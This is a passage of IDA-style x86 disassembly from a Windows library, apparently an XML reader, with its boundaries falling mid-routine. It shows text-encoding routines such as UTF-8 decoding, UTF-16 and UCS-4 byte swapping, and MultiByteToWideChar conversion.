		mov	al, [esi+41h]
		neg	al
		sbb	eax, eax
		and	eax, 7FFFFFF7h
		add	eax, 8000000Ah
		jmp	loc_69B36773
; ---------------------------------------------------------------------------


loc_69B366CB:				; CODE XREF: sub_69B3660F+53j
					; sub_69B3660F+8Fj ...
		mov	eax, [ebp+var_4]
		add	eax, ecx
		cmp	eax, edi
		mov	[esi+28h], eax
		mov	[ebp+arg_0], eax
		mov	[ebp+arg_8], edi
		jbe	short loc_69B366E0
		mov	[ebp+arg_0], edi


loc_69B366E0:				; CODE XREF: sub_69B3660F+CCj
		mov	ecx, [esi+30h]
		cmp	ecx, ebx
		jnz	short loc_69B3670A
		push	[ebp+var_8]
		mov	ecx, esi
		call	sub_69B360BA
		cmp	eax, ebx
		jl	short loc_69B36773
		mov	ecx, [esi+30h]
		cmp	ecx, ebx
		jz	short loc_69B366B5
		mov	eax, [esi+24h]
		cmp	eax, [ebp+arg_0]
		jz	short loc_69B366B5
		sub	[ebp+arg_0], eax
		sub	[esi+2Ch], eax


loc_69B3670A:				; CODE XREF: sub_69B3660F+D6j
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_0]
		push	eax
		mov	eax, [esi+1Ch]
		add	eax, [esi+24h]
		push	eax
		push	dword ptr [esi+10h]
		lea	eax, [esi+44h]
		push	eax
		call	ecx
		cmp	eax, ebx
		jnz	short loc_69B36773
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jnz	short loc_69B36746
		cmp	byte ptr [ebp+var_8], bl
		jnz	short loc_69B36746
		cmp	[esi+3Ch], ebx
		jnz	short loc_69B3673F
		cmp	[esi+41h], bl
		jz	short loc_69B36746


loc_69B3673F:				; CODE XREF: sub_69B3660F+129j
		mov	eax, 0C00CE514h
		jmp	short loc_69B36773
; ---------------------------------------------------------------------------


loc_69B36746:				; CODE XREF: sub_69B3660F+11Fj
					; sub_69B3660F+124j ...
		mov	edx, [ebp+arg_C]
		add	[esi+24h], ecx
		cmp	edx, ebx
		mov	eax, [ebp+arg_8]
		jz	short loc_69B36758
		lea	esi, [eax+eax]
		mov	[edx], esi


loc_69B36758:				; CODE XREF: sub_69B3660F+142j
		cmp	eax, ebx
		jnz	short loc_69B36771
		cmp	byte ptr [ebp+var_8], bl
		jnz	short loc_69B3676A
		cmp	ecx, ebx
		jz	short loc_69B3676A
		xor	eax, eax
		inc	eax
		jmp	short loc_69B36773
; ---------------------------------------------------------------------------


loc_69B3676A:				; CODE XREF: sub_69B3660F+150j
					; sub_69B3660F+154j
		mov	eax, 8000000Ah
		jmp	short loc_69B36773
; ---------------------------------------------------------------------------


loc_69B36771:				; CODE XREF: sub_69B3660F+14Bj
		xor	eax, eax


loc_69B36773:				; CODE XREF: sub_69B3660F+3Cj
					; sub_69B3660F+76j ...
		pop	edi


loc_69B36774:				; CODE XREF: sub_69B3660F+27j
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_69B3660F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3677A	proc near		; CODE XREF: sub_69B36793+4p
					; sub_69B38858-A0p ...
		push	esi
		mov	esi, ecx
		push	offset dword_69B2AFF0
		lea	ecx, [esi+4]
		call	sub_69B1D9B7
		call	sub_69B1E031
		mov	eax, esi
		pop	esi
		retn
sub_69B3677A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B36793	proc near		; CODE XREF: sub_69B36811+11p
					; sub_69B3683A+23p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, ecx
		call	sub_69B3677A
		push	[esp+8+arg_0]
		xor	ebx, ebx
		lea	ecx, [esi+3Ch]
		mov	dword ptr [esi], offset	off_69B122A8
		mov	dword ptr [esi+4], offset off_69B27190
		mov	[esi+14h], ebx
		mov	[esi+1Ch], ebx
		call	sub_69B1E084
		call	sub_69B1E031
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+30h], ebx
		mov	[esi+34h], ebx
		mov	[esi+2Ch], ebx
		mov	[esi+24h], ebx
		mov	[esi+28h], ebx
		mov	[esi+41h], bl
		mov	[esi+20h], ebx
		mov	[esi+42h], bl
		mov	[esi+18h], bl
		mov	[esi+19h], bl
		mov	[esi+44h], ebx
		mov	byte ptr [esi+43h], 1
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_69B36793	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B367F2	proc near		; DATA XREF: .text:off_69B27190o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B3659D
		test	[esp+4+arg_0], 1
		jz	short loc_69B3680A
		lea	eax, [esi-4]
		push	eax
		call	sub_69B1B2B7


loc_69B3680A:				; CODE XREF: sub_69B367F2+Dj
		lea	eax, [esi-4]
		pop	esi
		retn	4
sub_69B367F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B36811	proc near		; CODE XREF: sub_69B35EC2+16p
					; sub_69B3845F+8p ...

arg_0		= dword	ptr  4

		push	48h
		call	sub_69B11E44
		test	eax, eax
		jz	short loc_69B36829
		push	[esp+arg_0]
		mov	ecx, eax
		call	sub_69B36793
		jmp	short loc_69B3682B
; ---------------------------------------------------------------------------


loc_69B36829:				; CODE XREF: sub_69B36811+9j
		xor	eax, eax


loc_69B3682B:				; CODE XREF: sub_69B36811+16j
		test	eax, eax
		jz	short locret_69B36837
		and	dword ptr [eax+1Ch], 0
		mov	byte ptr [eax+40h], 1

locret_69B36837:			; CODE XREF: sub_69B36811+1Cj
		retn	4
sub_69B36811	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3683A	proc near		; CODE XREF: sub_69B39B6B+5Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_0], ebx
		jnz	short loc_69B3684C
		xor	eax, eax
		jmp	loc_69B36936
; ---------------------------------------------------------------------------


loc_69B3684C:				; CODE XREF: sub_69B3683A+9j
		push	esi
		push	48h
		call	sub_69B11E44
		cmp	eax, ebx
		jz	short loc_69B36866
		push	[ebp+arg_0]
		mov	ecx, eax
		call	sub_69B36793
		mov	esi, eax
		jmp	short loc_69B36868
; ---------------------------------------------------------------------------


loc_69B36866:				; CODE XREF: sub_69B3683A+1Cj
		xor	esi, esi


loc_69B36868:				; CODE XREF: sub_69B3683A+2Aj
		cmp	esi, ebx
		jnz	short loc_69B36873
		xor	eax, eax
		jmp	loc_69B36935
; ---------------------------------------------------------------------------


loc_69B36873:				; CODE XREF: sub_69B3683A+30j
		mov	eax, [ebp+arg_4]
		cmp	eax, ebx
		push	edi
		jnz	short loc_69B36896
		push	ebx
		push	ebx
		push	5
		push	offset aUtf8	; "UTF-8"
		call	sub_69B37036
		cmp	eax, ebx
		mov	[esi+14h], eax
		jz	loc_69B36925
		jmp	short loc_69B36899
; ---------------------------------------------------------------------------


loc_69B36896:				; CODE XREF: sub_69B3683A+3Fj
		mov	[esi+14h], eax


loc_69B36899:				; CODE XREF: sub_69B3683A+5Aj
		lea	edi, [esi+38h]
		push	edi
		lea	ecx, [esi+34h]
		push	ecx
		lea	eax, [esi+10h]
		push	eax
		push	dword ptr [esi+14h]
		mov	[esi+40h], bl
		mov	dword ptr [edi], 3
		call	sub_69B37251
		test	eax, eax
		jl	short loc_69B36925
		mov	eax, [edi]
		inc	eax
		shr	eax, 1
		shl	eax, 0Dh
		push	eax
		mov	[esi+20h], eax
		call	sub_69B11E44
		cmp	eax, ebx
		mov	[esi+1Ch], eax
		jz	short loc_69B36925
		mov	eax, [esi+14h]
		cmp	[eax+9], bl
		jz	short loc_69B36932
		cmp	[eax+8], bl
		jz	short loc_69B368E9
		mov	byte ptr [ebp+arg_4+2],	0FFh
		mov	byte ptr [ebp+arg_4+3],	0FEh
		jmp	short loc_69B368F1
; ---------------------------------------------------------------------------


loc_69B368E9:				; CODE XREF: sub_69B3683A+A3j
		mov	byte ptr [ebp+arg_4+2],	0FEh
		mov	byte ptr [ebp+arg_4+3],	0FFh


loc_69B368F1:				; CODE XREF: sub_69B3683A+ADj
		mov	edi, [ebp+arg_0]
		mov	eax, [edi]
		lea	ecx, [ebp+arg_0]
		push	ecx
		push	2
		lea	ecx, [ebp+arg_4+2]
		push	ecx
		push	edi
		call	dword ptr [eax+10h]
		test	eax, eax
		jl	short loc_69B36925
		cmp	dword ptr [esi+10h], 2EE0h
		jnz	short loc_69B36932
		mov	eax, [edi]
		lea	ecx, [ebp+arg_0]
		push	ecx
		push	2
		lea	ecx, [ebp+arg_4+2]
		push	ecx
		push	edi
		call	dword ptr [eax+10h]
		test	eax, eax
		jge	short loc_69B36932


loc_69B36925:				; CODE XREF: sub_69B3683A+54j
					; sub_69B3683A+7Ej ...
		lea	ecx, [esi+4]
		mov	eax, [ecx]
		push	1
		call	dword ptr [eax]
		xor	eax, eax
		jmp	short loc_69B36934
; ---------------------------------------------------------------------------


loc_69B36932:				; CODE XREF: sub_69B3683A+9Ej
					; sub_69B3683A+D5j ...
		mov	eax, esi


loc_69B36934:				; CODE XREF: sub_69B3683A+F6j
		pop	edi


loc_69B36935:				; CODE XREF: sub_69B3683A+34j
		pop	esi


loc_69B36936:				; CODE XREF: sub_69B3683A+Dj
		pop	ebx
		pop	ebp
		retn	8
sub_69B3683A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3693B	proc near		; DATA XREF: sub_69B370C8+14o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		lea	eax, [eax+eax*2]
		mov	eax, ds:off_69B271A0[eax*8]
		retn	4
sub_69B3693B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3694C	proc near		; CODE XREF: sub_69B370C8+21p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_4]
		xor	ebx, ebx
		dec	edi


loc_69B36956:				; CODE XREF: sub_69B3694C+33j
		lea	eax, [edi+ebx]
		cdq
		sub	eax, edx
		mov	esi, eax
		sar	esi, 1
		push	esi
		call	[esp+10h+arg_8]
		push	eax
		push	[esp+10h+arg_0]
		call	sub_69B2ED17
		test	eax, eax
		jge	short loc_69B36978
		lea	edi, [esi-1]
		jmp	short loc_69B3697D
; ---------------------------------------------------------------------------


loc_69B36978:				; CODE XREF: sub_69B3694C+25j
		jle	short loc_69B36986
		lea	ebx, [esi+1]


loc_69B3697D:				; CODE XREF: sub_69B3694C+2Aj
		cmp	ebx, edi
		jle	short loc_69B36956
		or	eax, 0FFFFFFFFh
		jmp	short loc_69B36988
; ---------------------------------------------------------------------------


loc_69B36986:				; CODE XREF: sub_69B3694C:loc_69B36978j
		mov	eax, esi


loc_69B36988:				; CODE XREF: sub_69B3694C+38j
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
sub_69B3694C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3698E	proc near		; CODE XREF: sub_69B36CF7+3p
					; sub_69B37003+3p ...
		push	offset ppv	; ppv
		call	sub_69B2C68C
		retn
sub_69B3698E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B36999	proc near		; DATA XREF: .text:69B272C8o
					; .text:69B272F8o ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_C]
		mov	eax, [eax]
		mov	ecx, [ebp+arg_14]
		and	[ebp+var_8], 0
		test	eax, eax
		mov	edx, [ecx]
		mov	[ebp+var_C], eax
		mov	[ebp+var_10], edx
		mov	[ebp+var_1], 1
		jbe	loc_69B36B64
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	bl, 80h
		push	esi


loc_69B369C6:				; CODE XREF: sub_69B36999+4Bj
		cmp	[ebp+var_8], edx
		jnb	short loc_69B369E6
		movzx	cx, byte ptr [eax]
		test	cl, bl
		jnz	short loc_69B369E6
		mov	esi, [ebp+arg_10]
		add	[ebp+arg_10], 2
		inc	eax
		inc	[ebp+var_8]
		dec	[ebp+var_C]
		mov	[esi], cx
		jnz	short loc_69B369C6


loc_69B369E6:				; CODE XREF: sub_69B36999+30j
					; sub_69B36999+38j
		cmp	[ebp+var_C], 0
		jbe	loc_69B36B62
		push	edi


loc_69B369F1:				; CODE XREF: sub_69B36999+1C2j
		mov	ecx, [ebp+var_10]
		cmp	[ebp+var_8], ecx
		jnb	loc_69B36B61
		mov	cl, [eax]
		and	[ebp+arg_8], 0
		movzx	di, cl
		mov	edx, edi
		test	dl, bl
		jz	short loc_69B36A1C


loc_69B36A0D:				; CODE XREF: sub_69B36999+7Bj
		inc	[ebp+arg_8]
		shl	edx, 1
		test	dl, bl
		jnz	short loc_69B36A0D
		cmp	[ebp+arg_8], 0
		jnz	short loc_69B36A23


loc_69B36A1C:				; CODE XREF: sub_69B36999+72j
		mov	[ebp+arg_8], 1


loc_69B36A23:				; CODE XREF: sub_69B36999+81j
		mov	edx, [ebp+arg_8]
		cmp	[ebp+var_C], edx
		jb	loc_69B36B61
		xor	esi, esi
		dec	edx
		jz	loc_69B36B36
		dec	edx
		jz	loc_69B36B0F
		dec	edx
		jz	loc_69B36AFA
		dec	edx
		jz	short loc_69B36A59
		dec	edx
		jz	short loc_69B36A54
		inc	eax
		dec	edx
		jnz	loc_69B36B3F


loc_69B36A54:				; CODE XREF: sub_69B36999+B1j
		inc	eax
		mov	[ebp+var_1], 0


loc_69B36A59:				; CODE XREF: sub_69B36999+AEj
		mov	ecx, [ebp+var_10]
		dec	ecx
		cmp	[ebp+var_8], ecx
		jnb	loc_69B36B61
		xor	ecx, ecx
		mov	cl, [eax]
		and	ecx, 7
		shl	ecx, 12h
		mov	esi, ecx
		inc	eax
		xor	ecx, ecx
		mov	cl, [eax]
		mov	dl, cl
		and	dl, 0C0h
		cmp	dl, bl
		jz	short loc_69B36A84
		mov	[ebp+var_1], 0


loc_69B36A84:				; CODE XREF: sub_69B36999+E5j
		and	ecx, 3Fh
		shl	ecx, 0Ch
		or	esi, ecx
		inc	eax
		xor	ecx, ecx
		mov	cl, [eax]
		mov	dl, cl
		and	dl, 0C0h
		cmp	dl, bl
		jz	short loc_69B36A9E
		mov	[ebp+var_1], 0


loc_69B36A9E:				; CODE XREF: sub_69B36999+FFj
		and	ecx, 3Fh
		shl	ecx, 6
		or	esi, ecx
		inc	eax
		xor	ecx, ecx
		mov	cl, [eax]
		mov	dl, cl
		and	dl, 0C0h
		cmp	dl, bl
		jz	short loc_69B36AB8
		mov	[ebp+var_1], 0


loc_69B36AB8:				; CODE XREF: sub_69B36999+119j
		and	ecx, 3Fh
		or	esi, ecx
		inc	eax
		cmp	esi, 10FFFFh
		jbe	short loc_69B36ACA
		mov	[ebp+var_1], 0


loc_69B36ACA:				; CODE XREF: sub_69B36999+12Bj
		cmp	[ebp+var_1], 0
		jz	short loc_69B36B3F
		mov	edx, [ebp+arg_10]
		add	[ebp+arg_10], 2
		lea	ecx, [esi-10000h]
		shr	ecx, 0Ah
		sub	ecx, 2800h
		inc	[ebp+var_8]
		and	esi, 3FFh
		mov	[edx], cx
		sub	esi, 2400h
		jmp	short loc_69B36B39
; ---------------------------------------------------------------------------


loc_69B36AFA:				; CODE XREF: sub_69B36999+A7j
		shl	edi, 0Ch
		inc	eax
		mov	cl, [eax]
		mov	dl, cl
		and	dl, 0C0h
		cmp	dl, bl
		mov	esi, edi
		jz	short loc_69B36B0F
		mov	[ebp+var_1], 0


loc_69B36B0F:				; CODE XREF: sub_69B36999+A0j
					; sub_69B36999+170j
		and	cl, 3Fh
		movzx	cx, cl
		shl	ecx, 6
		or	esi, ecx
		inc	eax
		mov	cl, [eax]
		mov	dl, cl
		and	dl, 0C0h
		cmp	dl, bl
		jz	short loc_69B36B2B
		mov	[ebp+var_1], 0


loc_69B36B2B:				; CODE XREF: sub_69B36999+18Cj
		and	cl, 3Fh
		movzx	cx, cl
		or	esi, ecx
		jmp	short loc_69B36B38
; ---------------------------------------------------------------------------


loc_69B36B36:				; CODE XREF: sub_69B36999+99j
		mov	esi, edi


loc_69B36B38:				; CODE XREF: sub_69B36999+19Bj
		inc	eax


loc_69B36B39:				; CODE XREF: sub_69B36999+15Fj
		cmp	[ebp+var_1], 0
		jnz	short loc_69B36B48


loc_69B36B3F:				; CODE XREF: sub_69B36999+B5j
					; sub_69B36999+135j
		mov	esi, 0FFFFh
		mov	[ebp+var_1], 1


loc_69B36B48:				; CODE XREF: sub_69B36999+1A4j
		mov	ecx, [ebp+arg_10]
		add	[ebp+arg_10], 2
		inc	[ebp+var_8]
		mov	[ecx], si
		mov	ecx, [ebp+arg_8]
		sub	[ebp+var_C], ecx
		jnz	loc_69B369F1


loc_69B36B61:				; CODE XREF: sub_69B36999+5Ej
					; sub_69B36999+90j ...
		pop	edi


loc_69B36B62:				; CODE XREF: sub_69B36999+51j
		pop	esi
		pop	ebx


loc_69B36B64:				; CODE XREF: sub_69B36999+20j
		mov	ecx, [ebp+var_C]
		mov	eax, [ebp+arg_C]
		sub	[eax], ecx
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_14]
		mov	[ecx], eax
		xor	eax, eax
		leave
		retn	18h
sub_69B36999	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B36B7A	proc near		; DATA XREF: .text:off_69B271A8o
					; .text:69B27298o ...

arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_14]
		mov	ecx, [edx]
		push	edi
		mov	edi, [ebp+arg_C]
		mov	eax, [edi]
		shr	eax, 1
		cmp	eax, ecx
		jbe	short loc_69B36B90
		mov	eax, ecx


loc_69B36B90:				; CODE XREF: sub_69B36B7A+12j
		test	eax, eax
		jbe	short loc_69B36BB4
		mov	ecx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_10]
		mov	[ebp+arg_C], eax


loc_69B36B9F:				; CODE XREF: sub_69B36B7A+36j
		xor	ebx, ebx
		mov	bh, [ecx]
		mov	bl, [ecx+1]
		mov	[esi], bx
		inc	esi
		inc	esi
		inc	ecx
		inc	ecx
		dec	[ebp+arg_C]
		jnz	short loc_69B36B9F
		pop	esi
		pop	ebx


loc_69B36BB4:				; CODE XREF: sub_69B36B7A+18j
		mov	[edx], eax
		add	eax, eax
		mov	[edi], eax
		xor	eax, eax
		pop	edi
		pop	ebp
		retn	18h
sub_69B36B7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B36BC1	proc near		; DATA XREF: sub_69B371A8+63o

arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_C]
		mov	eax, [eax]
		mov	ecx, [ebp+arg_14]
		mov	ecx, [ecx]
		shr	eax, 1
		cmp	eax, ecx
		jbe	short loc_69B36BD6
		mov	eax, ecx


loc_69B36BD6:				; CODE XREF: sub_69B36BC1+11j
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		lea	edx, [eax+eax]
		push	edi
		mov	edi, [ebp+arg_10]
		mov	ecx, edx
		mov	ebx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+arg_14]
		mov	[ecx], eax
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		mov	[eax], edx
		xor	eax, eax
		pop	ebx
		pop	ebp
		retn	18h
sub_69B36BC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B36C05	proc near		; DATA XREF: .text:69B272B0o
					; sub_69B371A8:loc_69B371FAo

arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_14]
		mov	ecx, [edx]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_C]
		mov	eax, [edi]
		shr	eax, 2
		cmp	eax, ecx
		jbe	short loc_69B36C1E
		mov	eax, ecx


loc_69B36C1E:				; CODE XREF: sub_69B36C05+15j
		test	eax, eax
		mov	[ebp+arg_C], eax
		jbe	short loc_69B36C4B
		mov	esi, [ebp+arg_10]
		mov	ecx, [ebp+arg_8]


loc_69B36C2B:				; CODE XREF: sub_69B36C05+44j
		cmp	byte ptr [ecx],	0
		jnz	short loc_69B36C5B
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_69B36C5B
		xor	ebx, ebx
		mov	bh, [ecx+2]
		add	ecx, 4
		mov	bl, [ecx-1]
		mov	[esi], bx
		inc	esi
		inc	esi
		dec	[ebp+arg_C]
		jnz	short loc_69B36C2B


loc_69B36C4B:				; CODE XREF: sub_69B36C05+1Ej
		mov	[edx], eax
		shl	eax, 2
		mov	[edi], eax
		xor	eax, eax


loc_69B36C54:				; CODE XREF: sub_69B36C05+5Bj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	18h
; ---------------------------------------------------------------------------


loc_69B36C5B:				; CODE XREF: sub_69B36C05+29j
					; sub_69B36C05+2Fj
		mov	eax, 0C00CE51Fh
		jmp	short loc_69B36C54
sub_69B36C05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B36C62	proc near		; DATA XREF: sub_69B371A8+4Ao

arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_14]
		mov	ecx, [edx]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_C]
		mov	eax, [edi]
		shr	eax, 2
		cmp	eax, ecx
		jbe	short loc_69B36C7B
		mov	eax, ecx


loc_69B36C7B:				; CODE XREF: sub_69B36C62+15j
		test	eax, eax
		mov	[ebp+arg_C], eax
		jbe	short loc_69B36CA8
		mov	esi, [ebp+arg_10]
		mov	ecx, [ebp+arg_8]


loc_69B36C88:				; CODE XREF: sub_69B36C62+44j
		xor	ebx, ebx
		mov	bh, [ecx+1]
		mov	bl, [ecx]
		mov	[esi], bx
		inc	esi
		inc	esi
		cmp	byte ptr [ecx+2], 0
		jnz	short loc_69B36CB8
		cmp	byte ptr [ecx+3], 0
		jnz	short loc_69B36CB8
		add	ecx, 4
		dec	[ebp+arg_C]
		jnz	short loc_69B36C88


loc_69B36CA8:				; CODE XREF: sub_69B36C62+1Ej
		mov	[edx], eax
		shl	eax, 2
		mov	[edi], eax
		xor	eax, eax


loc_69B36CB1:				; CODE XREF: sub_69B36C62+5Bj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	18h
; ---------------------------------------------------------------------------


loc_69B36CB8:				; CODE XREF: sub_69B36C62+36j
					; sub_69B36C62+3Cj
		mov	eax, 0C00CE51Fh
		jmp	short loc_69B36CB1
sub_69B36C62	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B36CBF(int, UINT CodePage, LPCSTR	lpMultiByteStr,	int, LPWSTR lpWideCharStr, int)

sub_69B36CBF	proc near		; DATA XREF: .text:69B271C0o
					; .text:69B271D8o ...

CodePage	= dword	ptr  0Ch
lpMultiByteStr	= dword	ptr  10h
arg_C		= dword	ptr  14h
lpWideCharStr	= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_C]
		push	esi
		mov	esi, [ebp+arg_14]
		push	edi
		push	dword ptr [esi]	; cchWideChar
		xor	edi, edi
		push	[ebp+lpWideCharStr] ; lpWideCharStr
		push	dword ptr [eax]	; cchMultiByte
		push	[ebp+lpMultiByteStr] ; lpMultiByteStr
		push	1		; dwFlags
		push	[ebp+CodePage]	; CodePage
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		test	eax, eax
		mov	[esi], eax
		jnz	short loc_69B36CEF
		call	ds:GetLastError
		mov	edi, eax


loc_69B36CEF:				; CODE XREF: sub_69B36CBF+26j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn	18h
sub_69B36CBF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B36CF7	proc near		; DATA XREF: sub_69B371A8+93o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		call	sub_69B3698E
		test	eax, eax
		jl	short loc_69B36D26
		push	[ebp+arg_14]
		mov	eax, ppv
		push	[ebp+arg_10]
		mov	ecx, [eax]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	dword ptr [ecx+28h]
		test	eax, eax
		jl	short loc_69B36D26
		xor	eax, eax


loc_69B36D26:				; CODE XREF: sub_69B36CF7+Aj
					; sub_69B36CF7+2Bj
		pop	ebp
		retn	18h
sub_69B36CF7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B36D2A	proc near		; DATA XREF: .text:off_69B271ACo
					; .text:69B2729Co ...

arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_C]
		mov	ecx, [edx]
		push	edi
		mov	edi, [ebp+arg_14]
		mov	eax, [edi]
		shr	eax, 1
		cmp	eax, ecx
		jbe	short loc_69B36D40
		mov	eax, ecx


loc_69B36D40:				; CODE XREF: sub_69B36D2A+12j
		test	eax, eax
		jbe	short loc_69B36D63
		mov	ecx, [ebp+arg_10]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_14], eax


loc_69B36D4F:				; CODE XREF: sub_69B36D2A+35j
		mov	bl, [esi+1]
		mov	[ecx], bl
		mov	bl, [esi]
		inc	ecx
		mov	[ecx], bl
		inc	ecx
		inc	esi
		inc	esi
		dec	[ebp+arg_14]
		jnz	short loc_69B36D4F
		pop	esi
		pop	ebx


loc_69B36D63:				; CODE XREF: sub_69B36D2A+18j
		mov	[edx], eax
		add	eax, eax
		mov	[edi], eax
		xor	eax, eax
		pop	edi
		pop	ebp
		retn	18h
sub_69B36D2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B36D70	proc near		; DATA XREF: sub_69B37251+63o

arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h

		mov	edx, [esp+arg_14]
		mov	eax, [edx]
		push	ebx
		mov	ebx, [esp+4+arg_C]
		mov	ecx, [ebx]
		shr	eax, 1
		cmp	eax, ecx
		push	esi
		push	edi
		jbe	short loc_69B36D87
		mov	eax, ecx


loc_69B36D87:				; CODE XREF: sub_69B36D70+13j
		mov	esi, [esp+0Ch+arg_8]
		mov	edi, [esp+0Ch+arg_10]
		mov	ecx, eax
		rep movsw
		mov	[ebx], eax
		pop	edi
		add	eax, eax
		pop	esi
		mov	[edx], eax
		xor	eax, eax
		pop	ebx
		retn	18h
sub_69B36D70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B36DA2	proc near		; DATA XREF: .text:69B272B4o
					; sub_69B37251:loc_69B372A3o

arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_C]
		mov	eax, [edx]
		push	edi
		mov	edi, [ebp+arg_14]
		mov	ecx, [edi]
		shr	ecx, 2
		cmp	ecx, eax
		jbe	short loc_69B36DB9
		mov	ecx, eax


loc_69B36DB9:				; CODE XREF: sub_69B36DA2+13j
		test	ecx, ecx
		jbe	short loc_69B36DE4
		mov	eax, [ebp+arg_10]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_14], ecx


loc_69B36DC8:				; CODE XREF: sub_69B36DA2+3Ej
		mov	byte ptr [eax],	0
		inc	eax
		mov	byte ptr [eax],	0
		mov	bl, [esi+1]
		inc	eax
		mov	[eax], bl
		mov	bl, [esi]
		inc	eax
		mov	[eax], bl
		inc	eax
		inc	esi
		inc	esi
		dec	[ebp+arg_14]
		jnz	short loc_69B36DC8
		pop	esi
		pop	ebx


loc_69B36DE4:				; CODE XREF: sub_69B36DA2+19j
		mov	eax, ecx
		shl	eax, 2
		mov	[edx], ecx
		mov	[edi], eax
		xor	eax, eax
		pop	edi
		pop	ebp
		retn	18h
sub_69B36DA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B36DF4	proc near		; DATA XREF: sub_69B37251+4Ao

arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_C]
		mov	eax, [edx]
		push	edi
		mov	edi, [ebp+arg_14]
		mov	ecx, [edi]
		shr	ecx, 2
		cmp	ecx, eax
		jbe	short loc_69B36E0B
		mov	ecx, eax


loc_69B36E0B:				; CODE XREF: sub_69B36DF4+13j
		test	ecx, ecx
		jbe	short loc_69B36E36
